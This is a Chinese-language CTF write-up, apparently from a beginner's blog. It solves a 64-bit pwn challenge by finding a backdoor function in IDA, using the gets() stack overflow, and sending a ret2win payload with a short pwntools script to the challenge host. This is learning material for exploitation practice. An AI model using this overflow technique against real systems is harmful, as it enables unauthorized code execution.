PWN手的成长之路-02-r3m4ke

启动环境,并下载附件。
image

远程连接之后,输入了一些命令,发现无反应。
image

开始分析附件。
先用checksec查看一下文件的安全属性。
文件是64位的且只开启了NX防御(这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并利用缓冲区溢出等手段将恶意代码写入内存并使其触发时, 只会直接造成程序的崩溃,但是可以利用 rop (Return-Oriented Programming,返回导向编程)这种方法绕过。)
image

将文件放入IDA中详细查看。
在函数中发现了 lookatme 函数,他就是我们需要的后门函数,现在的思路就是要知道如何能让程序跳转到这个函数的地址上。
image

再分析 main 函数。发现了 gets() 危险函数。
image

双击v4,进入栈,判断栈溢出的字节为 0x20+8 .
image

并根据之前的后门函数 lookatme 的内存地址,开始编写 exp
image

exp:

from pwn import *
r=remote('node4.anna.nssctf.cn',28332)

lookatme=0x40072c
payload=b'a'*(0x20)+b'b'*8+p64(lookatme)#注意必须要是0x20,不能直接写20。
#payload=b'a'*(0x20+8)+p64(lookatme) 这个方式也可以

r.sendline(payload)
r.interactive()

成功得到了flag。
image

posted @ 2025-09-15 19:19  B0rry  阅读(12)  评论(0)    收藏  举报